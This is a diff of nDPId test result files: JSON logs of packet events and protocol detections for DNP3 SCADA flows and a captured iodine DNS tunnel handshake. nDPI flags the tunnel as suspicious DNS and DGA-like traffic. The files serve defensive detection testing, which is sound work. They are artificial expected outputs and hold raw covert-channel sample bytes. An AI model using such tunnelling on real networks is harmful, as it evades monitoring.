+00419{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":474,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097512255,"pkt_ts_usec":234470,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwBpNAAIAG4CoKAAAICgAAAwSgTiANrtDCAAAAAHAC\/\/895AAAAgQFtAEBBAI="} +00420{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":475,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097512255,"pkt_ts_usec":234627,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwyodAAIAGHDYKAAADCgAACE4gBKD5DYC1Da7Qw3AS\/\/\/EDwAAAgQFtAEBBAI="} +00420{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":476,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097512255,"pkt_ts_usec":234627,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwyodAAIAGHDYKAAADCgAACE4gBKD5DYC1Da7Qw3AS\/\/\/EDwAAAgQFtAEBBAI="} +00420{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":477,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097512255,"pkt_ts_usec":234627,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwyodAAIAGHDYKAAADCgAACE4gBKD5DYC1Da7Qw3AS\/\/\/EDwAAAgQFtAEBBAI="} +00416{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":478,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097512255,"pkt_ts_usec":234830,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoBpRAAIAG4DEKAAAICgAAAwSgTiANrtDD+Q2AtlAQ\/\/\/w0wAAAAAAAAAA"} +00416{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":479,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097512255,"pkt_ts_usec":234830,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoBpRAAIAG4DEKAAAICgAAAwSgTiANrtDD+Q2AtlAQ\/\/\/w0wAAAAAAAAAA"} +00416{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":480,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097512255,"pkt_ts_usec":234830,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoBpRAAIAG4DEKAAAICgAAAwSgTiANrtDD+Q2AtlAQ\/\/\/w0wAAAAAAAAAA"} +00432{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":481,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097512255,"pkt_ts_usec":236054,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5yohAAIAGHCwKAAADCgAACE4gBKD5DYC2Da7Qw1AY\/\/8eDAAABWQKRAMABAB8rtvxghAAVeE="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":481,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":10,"flow_first_seen":1097512255234,"flow_last_seen":1097512255236,"flow_tot_l4_data_len":265,"flow_min_l4_data_len":20,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":1184,"dst_port":20000,"l4_proto":"tcp","ndpi": {"proto":"DNP3","breed":"Acceptable","category":"IoT-Scada"}} +00432{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":482,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097512255,"pkt_ts_usec":236054,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5yohAAIAGHCwKAAADCgAACE4gBKD5DYC2Da7Qw1AY\/\/8eDAAABWQKRAMABAB8rtvxghAAVeE="} +00432{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":483,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097512255,"pkt_ts_usec":236054,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5yohAAIAGHCwKAAADCgAACE4gBKD5DYC2Da7Qw1AY\/\/8eDAAABWQKRAMABAB8rtvxghAAVeE="} +00415{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":484,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097512255,"pkt_ts_usec":427660,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoBpVAAIAG4DAKAAAICgAAAwSgTiANrtDD+Q2Ax1AQ\/+7w0wAAAAAAAAAA"} +00415{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":485,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097512255,"pkt_ts_usec":427660,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoBpVAAIAG4DAKAAAICgAAAwSgTiANrtDD+Q2Ax1AQ\/+7w0wAAAAAAAAAA"} +00415{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":486,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097512255,"pkt_ts_usec":427660,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoBpVAAIAG4DAKAAAICgAAAwSgTiANrtDD+Q2Ax1AQ\/+7w0wAAAAAAAAAA"} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":505,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":33,"flow_first_seen":1097512255234,"flow_last_seen":1097512267645,"flow_tot_l4_data_len":1005,"flow_min_l4_data_len":20,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":1184,"dst_port":20000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":505,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1097513177295,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.9","dst_ip":"10.0.0.3","src_port":1084,"dst_port":20000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00419{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":505,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097513177,"pkt_ts_usec":295531,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwAUpAAIAG5XIKAAAJCgAAAwQ8TiBc3qwfAAAAAHAC\/\/8TugAAAgQFtAEBBAI="} +00419{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":506,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097513177,"pkt_ts_usec":295531,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwAUpAAIAG5XIKAAAJCgAAAwQ8TiBc3qwfAAAAAHAC\/\/8TugAAAgQFtAEBBAI="} +00419{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":507,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097513177,"pkt_ts_usec":295531,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwAUpAAIAG5XIKAAAJCgAAAwQ8TiBc3qwfAAAAAHAC\/\/8TugAAAgQFtAEBBAI="} +00419{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":508,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097513177,"pkt_ts_usec":295730,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwy1lAAIAGG2MKAAADCgAACU4gBDwG052kXN6sIHAS\/\/9vMQAAAgQFtAEBBAI="} +00419{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":509,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097513177,"pkt_ts_usec":295730,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwy1lAAIAGG2MKAAADCgAACU4gBDwG052kXN6sIHAS\/\/9vMQAAAgQFtAEBBAI="} +00419{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":510,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097513177,"pkt_ts_usec":295730,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwy1lAAIAGG2MKAAADCgAACU4gBDwG052kXN6sIHAS\/\/9vMQAAAgQFtAEBBAI="} +00415{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":511,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097513177,"pkt_ts_usec":295941,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoAUtAAIAG5XkKAAAJCgAAAwQ8TiBc3qwgBtOdpVAQ\/\/+b9QAAAAAAAAAA"} +00415{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":512,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097513177,"pkt_ts_usec":295941,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoAUtAAIAG5XkKAAAJCgAAAwQ8TiBc3qwgBtOdpVAQ\/\/+b9QAAAAAAAAAA"} +00415{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":513,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097513177,"pkt_ts_usec":295941,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoAUtAAIAG5XkKAAAJCgAAAwQ8TiBc3qwgBtOdpVAQ\/\/+b9QAAAAAAAAAA"} +00433{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":514,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097513177,"pkt_ts_usec":297272,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5y1pAAIAGG1kKAAADCgAACU4gBDwG052lXN6sIFAY\/\/\/I4gAABWQKRAMABgCZtcb2gpUBD9Y="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":514,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":10,"flow_first_seen":1097513177295,"flow_last_seen":1097513177297,"flow_tot_l4_data_len":265,"flow_min_l4_data_len":20,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.9","dst_ip":"10.0.0.3","src_port":1084,"dst_port":20000,"l4_proto":"tcp","ndpi": {"proto":"DNP3","breed":"Acceptable","category":"IoT-Scada"}} +00433{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097513177,"pkt_ts_usec":297272,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5y1pAAIAGG1kKAAADCgAACU4gBDwG052lXN6sIFAY\/\/\/I4gAABWQKRAMABgCZtcb2gpUBD9Y="} +00433{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":516,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097513177,"pkt_ts_usec":297272,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5y1pAAIAGG1kKAAADCgAACU4gBDwG052lXN6sIFAY\/\/\/I4gAABWQKRAMABgCZtcb2gpUBD9Y="} +00415{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":517,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097513177,"pkt_ts_usec":421231,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoAUxAAIAG5XgKAAAJCgAAAwQ8TiBc3qwgBtOdtlAQ\/+6b9QAAAAAAAAAA"} +00415{"flow_id":8,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":518,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097513177,"pkt_ts_usec":421231,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoAUxAAIAG5XgKAAAJCgAAAwQ8TiBc3qwgBtOdtlAQ\/+6b9QAAAAAAAAAA"} +00415{"flow_id":8,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":519,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097513177,"pkt_ts_usec":421231,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoAUxAAIAG5XgKAAAJCgAAAwQ8TiBc3qwgBtOdtlAQ\/+6b9QAAAAAAAAAA"} diff --git a/test/results/dns-tunnel-iodine.pcap.out b/test/results/dns-tunnel-iodine.pcap.out new file mode 100644 index 000000000..8586446aa --- /dev/null +++ b/test/results/dns-tunnel-iodine.pcap.out @@ -0,0 +1,23 @@ +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1282356640051,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.2.30","dst_ip":"10.0.2.20","src_port":44639,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1282356640,"pkt_ts_usec":51082,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"CAAnx266CAAnnOC0CABFAABEAABAAEARIngKAAIeCgACFK5fADUAMAHkErABAAABAAAAAAAAC3ZhYWFha2FyZGxpBnBpcmF0ZQNzZWEAAAoAAQ=="} +00644{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1282356640051,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.2.30","dst_ip":"10.0.2.20","src_port":44639,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"vaaaakardli.pirate.sea","num_queries":0,"num_answers":0,"reply_code":0,"query_type":10,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00485{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1282356640,"pkt_ts_usec":51175,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"CAAnnOC0CAAnx266CABFAABZAABAAEARImMKAAIUCgACHgA1rl8ARRoeErCEAAABAAEAAAAAC3ZhYWFha2FyZGxpBnBpcmF0ZQNzZWEAAAoAAcAMAAoAAQAAAAAACVZBQ0tEA8XpAQ=="} +00711{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_first_seen":1282356640051,"flow_last_seen":1282356640051,"flow_tot_l4_data_len":117,"flow_min_l4_data_len":48,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.2.30","dst_ip":"10.0.2.20","src_port":44639,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"23":"Suspicious DNS traffic"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"vaaaakardli.pirate.sea","num_queries":1,"num_answers":1,"reply_code":0,"query_type":10,"rsp_type":10,"rsp_addr":"0.0.0.0"}} +00485{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1282356640,"pkt_ts_usec":51979,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"CAAnx266CAAnnOC0CABFAABZAABAAEARImMKAAIeCgACFK5fADUARcobMN8BAAABAAAAAAAAIGxhZWdwdW1pcGxoaHB6MTJ5bmQxZWZsandsa2pjZ3d5BnBpcmF0ZQNzZWEAAAoAAQ=="} +00766{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_first_seen":1282356640051,"flow_last_seen":1282356640051,"flow_tot_l4_data_len":186,"flow_min_l4_data_len":48,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":62,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.2.30","dst_ip":"10.0.2.20","src_port":44639,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name","23":"Suspicious DNS traffic"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"laegpumiplhhpz12ynd1efljwlkjcgwy.pirate.sea","num_queries":1,"num_answers":1,"reply_code":0,"query_type":10,"rsp_type":10,"rsp_addr":"0.0.0.0"}} +00538{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1282356640,"pkt_ts_usec":52258,"pkt_caplen":144,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":144,"pkt_l4_len":110,"pkt":"CAAnnOC0CAAnx266CABFAACCAABAAEARIjoKAAIUCgACHgA1rl8Abm4wMN+EAAABAAEAAAAAIGxhZWdwdW1pcGxoaHB6MTJ5bmQxZWZsandsa2pjZ3d5BnBpcmF0ZQNzZWEAAAoAAcAMAAoAAQAAAAAAHTEwLjIwLjMwLjEtMTAuMjAuMzAuMy0xMTMwLTI0"} +00767{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":4,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1282356640051,"flow_last_seen":1282356640052,"flow_tot_l4_data_len":296,"flow_min_l4_data_len":48,"flow_max_l4_data_len":110,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.2.30","dst_ip":"10.0.2.20","src_port":44639,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name","23":"Suspicious DNS traffic"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"laegpumiplhhpz12ynd1efljwlkjcgwy.pirate.sea","num_queries":1,"num_answers":1,"reply_code":0,"query_type":10,"rsp_type":10,"rsp_addr":"0.0.0.0"}} +00463{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1282356640,"pkt_ts_usec":57774,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"CAAnx266CAAnnOC0CABFAABKAABAAEARInIKAAIeCgACFK5fADUANnlrTw4BAAABAAAAAAABBnlyYmkwMgZwaXJhdGUDc2VhAAAKAAEAACkQAAAAgAAAAA=="} +00741{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":5,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":5,"flow_first_seen":1282356640051,"flow_last_seen":1282356640057,"flow_tot_l4_data_len":350,"flow_min_l4_data_len":48,"flow_max_l4_data_len":110,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.2.30","dst_ip":"10.0.2.20","src_port":44639,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name","23":"Suspicious DNS traffic"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"yrbi02.pirate.sea","num_queries":1,"num_answers":1,"reply_code":0,"query_type":10,"rsp_type":10,"rsp_addr":"0.0.0.0"}} +00535{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1282356640,"pkt_ts_usec":57973,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnnOC0CAAnx266CABFAAB7AABAAEARIkEKAAIUCgACHgA1rl8AZwLqTw6EAAABAAEAAAAABnlyYmkwMgZwaXJhdGUDc2VhAAAKAAHADAAKAAEAAAAAADAAAAAA\/\/\/\/\/1VVVVWqqqqqgWPI0sd8shdfT87JSS1SIWGpcSAlswZz5thEMHlQV78="} +00741{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1282356640051,"flow_last_seen":1282356640057,"flow_tot_l4_data_len":453,"flow_min_l4_data_len":48,"flow_max_l4_data_len":110,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.2.30","dst_ip":"10.0.2.20","src_port":44639,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name","23":"Suspicious DNS traffic"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"yrbi02.pirate.sea","num_queries":1,"num_answers":1,"reply_code":0,"query_type":10,"rsp_type":10,"rsp_addr":"0.0.0.0"}} +00509{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1282356640,"pkt_ts_usec":58185,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"CAAnx266CAAnnOC0CABFAABtAABAAEARIk8KAAIeCgACFK5fADUAWRsabT0BAAABAAAAAAABKXppMDNhQS1BYWFoaGgtRHJpbmstbWFsLWVpbi1K5Gdlcm1laXN0ZXItBnBpcmF0ZQNzZWEAAAoAAQAAKRAAAACAAAAA"} +00570{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1282356640,"pkt_ts_usec":58315,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"CAAnnOC0CAAnx266CABFAACYAABAAEARIiQKAAIUCgACHgA1rl8AhD+SbT2EAAABAAEAAAAAKXppMDNhQS1BYWFoaGgtRHJpbmstbWFsLWVpbi1K5Gdlcm1laXN0ZXItBnBpcmF0ZQNzZWEAAAoAAcAMAAoAAQAAAAAAKnppMDNhQS1BYWFoaGgtRHJpbmstbWFsLWVpbi1K5Gdlcm1laXN0ZXItLg=="} 